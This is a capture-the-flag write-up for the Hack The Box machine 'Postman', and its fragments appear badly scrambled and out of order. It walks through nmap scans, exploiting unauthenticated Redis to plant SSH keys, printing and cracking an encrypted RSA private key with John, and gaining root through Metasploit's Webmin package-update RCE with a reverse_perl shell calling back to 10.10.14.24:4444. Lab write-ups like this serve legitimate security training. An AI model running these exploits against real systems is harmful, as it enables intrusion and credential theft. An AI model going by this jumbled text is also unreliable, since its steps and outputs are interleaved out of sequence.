**Nmap** 

missed port 6379

**PORT** 

22/tcp

80/tcp

**Port 10000** 

page:

Postman

Difficulty:

Points:

Release:

Ran a quick scan nmap -T5 -Pn 10.10.10.16 0, but found the number of ports suspiciously low and

OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

Redis key-value store 4.0.9

|\_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

MiniServ 1.910 (Webmin httpd)

Going to 10.10.10.160:10000 in our url leads to a suggested link that doesn't work, just change it to

https://10.10.10.60:10000 and it will work. Accept the certificate risk, and you'll be met with this

ran a deeper search: nmap -T5 -Pn 10.10.10.160 -p- -A , a good thing too as the first scan

open http Apache httpd 2.4.29 ((Ubuntu))

Whilst we enumerate the new ports, let's run Dirbuster in the background against port 80

STATE SERVICE VERSION

|\_http-server-header: Apache/2.4.29 (Ubuntu)

|\_http-title: The Cyber Geek's Personal Website

(Ubuntu Linux; protocol 2.0)

6379/tcp open redis 10000/tcp open http 📇 Linux

02 Nov 2019

10.10.10.160

Easy

20

Postman

**്ലൂ** Webmin You must enter a username and password to login to the server on postman.htb Username

Password

Let's try some **SQL injections** (via burpsuite ), and let's search webmin **default creds**.

I've never seen port 6379, so I get some info on it: https://book.hacktricks.xyz/pentesting/6379-

In essenece, this exploit required you to workout that seeing 'authorized-keys' in the lists that the

redis-cli offered meant that it would be possible to locate /var/lib/redis/.ssh/ to exploit.

https://medium.com/@Victor.Z.Zhu/redis-unauthorized-access-vulnerability-simulation-victor-zhu-

:~/Downloads/postman\$ python exploit.py 10.10.10.160 redis

[+] [Exploit] Exploiting misconfigured REDIS SERVER\*

[+] AVINASH KUMAR THAPA aka "-Acid"

🖈 Sign in

• **SQL Injection:** blocks our IP with too many failed authentication.; **default creds** didn't work. Let's

Remember me

PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store 4.0.9 (64 bits) redis-info: Version: 4.0.9 Operating System: Linux 4.15.0-58-generic x86\_64

Architecture: 64 bits

Used CPU (sys): 0.44

Used CPU (user): 0.12

Connected clients: 1

Used memory: 821.52K

Connected slaves: 0

Client connections:

Process ID: 618

Role: master

0.0.0.0

Bind addresses:

10.10.14.24

I had a lot of trouble getting these exploits to work, but then I found this exploit on github: https://github.com/fagray/redis-exploit. Ensure you change the path of the exploit to go to "/var/lib/ ", and give the exploit a password of at least 8 chars, or it wont work.

**Redis Exploit** 

ac7a71b2e419.

around the box. In the <code>/opt/</code> folder, there's a private key. We need to give that to <code>ssh2john</code> back in kali, and then crack it through John.

JehA51I17rsC00VqvWx+C8363I0BYXQ11Ddw/pr3L2A2NDtB7tvsXNvqKDghfQnX cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2 7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZ0iZEKvr4+KySjp4ou6 cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9 1u8JzHCJ1zZMG5vaUtvon@ggPx7xeIU06LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWx0UKbtWGBbU8yi7YsXlKCwwHP UH70fQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS 5Mi8BzrBhd00wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwC06MPBigzrrFcPNJr7/McQECb5sf+06 jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X 0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+ Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V XTfB2X9sL1oB3h04mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD b6Bc9UdiWCZqMKUx4aMTLhG5R0jgQGytWf/q7MGr03cF25k1PEWNyZMqY4WYsZXi WhQFHkF0INwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ VcNyZH80HYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W

We can't get our user flag just yet. That belongs to someone called **Matt**. We need to enumerate

You'll get shell in sometime. Thanks for your patience

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86\_64)

Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (privatekey) 1g 0:00:00:13 DONE (2020-06-20 17:16) 0.07283g/s 1044Kp/s 1044Kc/s 1044KC/sa6\_123..\*7;Vamos! Session completed Go back to the victim shell, and su Matt, and give the password computer 2008. You will then have a Matt Shell I also wondered if these creds get us into the webmin login screen back on port 10000, and it does!

Matt@Postman:/etc/webmin\$

Matt@Postman:/etc/webmin\$ cat version

10.10.10.160 true

Webmin ≤ 1.910

msf5 exploit(1

1.910

The target port (TCP) yes no Negotiate SSL/TLS for outgoing connections yes Base path for Webmin application Webmin Username yes HTTP server virtual host no

Attempting to execute the payload...

SHA256:9t/hDfEYPJ2X709/HPxunnbNwxJyxOhrWvR0Ztx3KtA acid\_creative The key's randomart image is: ---[RSA 3072]---+ 0 o.E.\*B\* ..=.BoB .+ = Xa ·[SHA256]----+ OK

Enter passphrase for key '/home/kali/.ssh/id\_rsa':

ili:~/Downloads/postman/ssh\$ sudo john privatejohn --wordlist=/usr/share/wordlists/rockyou.txt [sudo] password for kali: Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes

X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw=

686 0.0 3.2 95304 29612 ? 21:52 0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf Let's go and confirm the webmin version, and find a priv esc exploit: 1.910. The webpage also confirms the version

\_rce) > show options Module options (exploit/linux/http/webmin\_packageup\_rce): Current Setting Required Description

The metasploit will hang, but just put in a python interactive shell to retrieve it: python -c 'import pty; pty.spawn("/bin/bash")' Started reverse TCP handler on 10.10.14.24:4444

SSH Keys Need to be Generated Generating public/private rsa key pair. Enter file in which to save the key (/home/kali/.ssh/id\_rsa): /home/kali/.ssh/id\_rsa already exists. Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kali/.ssh/id\_rsa Your public key has been saved in /home/kali/.ssh/id\_rsa.pub The key fingerprint is:

> OK OK OK OK

redis@Postman:/opt\$ cat id\_rsa.bak

DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

----BEGIN RSA PRIVATE KEY----

Proc-Type: 4, ENCRYPTED

**Redis Shell** 

Then use /usr/share/john/ssh2john.py private > privatejohn , which outputs a hash that John can crack. sudo john private john --wordlist=/usr/share/wordlists/rockyou.txt

---END RSA PRIVATE KEY----

Matt Shell Transfer over your favourite enumeration scripts, and let's get to work. Straight away, something to do with root and webmin comes up. This is likely the exploit route.

> computer2008 Webmin Password yes A proxy chain of format type:host:port[,type:host:port][...] no The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' ves

[+] Session cookie: 962f23ee29fc86d55cef20e07d1fe1be [\*] Command shell session 3 opened (10.10.14.24:4444 → 10.10.10.160:43312) at 2020-06-20 17:58:18 -0400

nmap --script redis-info -sV -p 6379 10.10.10.160

enumerate some other ports.

**New Port: Redis** 

pentesting-redis

Using this guide, we can enumerate the Redis service further: https://averagesecurityguy.github.io/code/pentest/2015/09/17/pentesting-redis-servers/

Copy and save this into a text file on your kali. I called mine private.

Webmin - Metasploit If we search for webmin 1.910 priv esc, we'll find this link https://www.exploit-db.com/exploits/46984 that details a metasploit exploit. Load up msfconsole, and then use linux/http/webmin\_packageup\_rce. Input the necessary

options

Name

PASSWORD

Proxies

RHOSTS

RPORT

SSL TARGETURI / USERNAME Matt VHOST Payload options (cmd/unix/reverse\_perl): Name Current Setting Required Description LHOST 10.10.14.24 The listen address (an interface may be specified) ves The listen port LPORT 4444 yes Exploit target: Id Name

python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' root@Postman:/usr/share/webmin/package-updates/# You're root! Go and do rooty things!